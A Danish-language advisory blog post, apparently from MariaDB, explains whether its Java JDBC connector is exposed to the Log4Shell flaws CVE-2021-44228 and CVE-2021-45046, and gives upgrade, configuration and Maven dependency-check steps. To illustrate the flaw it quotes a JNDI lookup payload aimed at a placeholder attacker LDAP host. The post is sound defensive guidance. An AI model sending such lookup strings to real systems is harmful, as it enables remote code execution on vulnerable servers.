Er MariaDB Java-stikket påvirket af sikkerhedssårbarheden, der for nylig blev opdaget i Log4? Som standard bruger Java-stikket ikke Log4j. Men hvis du har konfigureret den til at bruge SLF4j, så fortsæt med at læse.
Læs Log4Shell og MariaDB for at få oplysninger uden for rækkevidden af MariaDB JDBC-driveren.
Bemærk :Denne blog blev opdateret 2021-12-15 for at inkludere detaljer vedrørende CVE-2021-45046.
Log4j-sårbarheden
Apache Log4j er en populær open source-logningsramme til Java-applikationer. Det bruges i en række open source- og virksomhedsprojekter, herunder cloud-leverandører og e-mail-tjenesteudbydere. Den 9. december 2021 blev der fundet en 0-dages sårbarhed i Log4j, der kunne resultere i fjernudførelse af kode, hvilket tillader en hacker at udføre vilkårlig kode i et system. Sårbarheden er kendt som "Log4Shell" og spores som CVE-2021-44228.
Kort sagt gør sårbarheden det muligt for en angriber at injicere en JNDI-opslagsstreng, der for eksempel kalder en ekstern LDAP-server (styret af angriberen), som igen returnerer en ondsindet Java-klasse:
${jndi:ldap://[attacker_site]/[malicious_java_class]}
Hvis en streng som denne logges af Log4j, kan en ondsindet Java-klasse køre vilkårlig kode (via en statisk kodeblok, for eksempel).
Berørte versioner
Heldigvis er det kun Log4j version 2.x før 2.15.0, der er berørt. Se Apache Log4j sikkerhedssårbarheder siden for mere information. Sårbarheden er ikke til stede i Log4j version 1.x.
Sådan afbødes CVE-2021-44228
Den bedste strategi til at afbøde sårbarheden er at opdatere Log4j-afhængigheden i dine projekter. Version 2.16.0, som fjerner meddelelsesopslag, er allerede tilgængelig. Rekvisitter til holdet for hurtigt at frigive dette.
Opdater :Log4j 2.16.0 retter også den anden sårbarhed sporet som CVE-2021-45046.
MariaDB JDBC-driveren bruger ikke Log4j 2.x. Den understøtter dog SLF4J. Kontroller, om du bruger Log4j-binderen til SLF4J, og hvis det er tilfældet, opgrader Log4j i overensstemmelse hermed eller indstil følgende konfigurationsvariabel:
-Dlog4j2.formatMsgNoLookups=true
Eller indstil følgende miljøvariabel:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Bemærk :Logning er kun aktiveret, når det udtrykkeligt er angivet af log
parameter. Udover Log4j kan du også vælge andre SLF4J-bindinger som Jakarta Commons Logging, Logback eller Java Logging API.
Hvis du bruger Maven, kan du køre følgende kommando for at finde ud af, om dit projekt afhænger af Log4j:
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core
Her er et eksempel på den slags output, du får i et sårbart projekt:
Hvis dit projekt af en eller anden grund ikke kompilerer, kan du alternativt køre:
mvn help:effective-pom
Søg efter log4j-core
afhængighed og kontroller den anvendte version.
Yderligere oplysninger
Liste over links i bloggen:
- MariaDB Java-stik
- SLF4j
- Relateret blog Log4Shell og MariaDB
- CVE-2021-44228
- Apache Log4j sikkerhedssårbarheder
- Apache Log4j version 2.16.0
-
log
parameter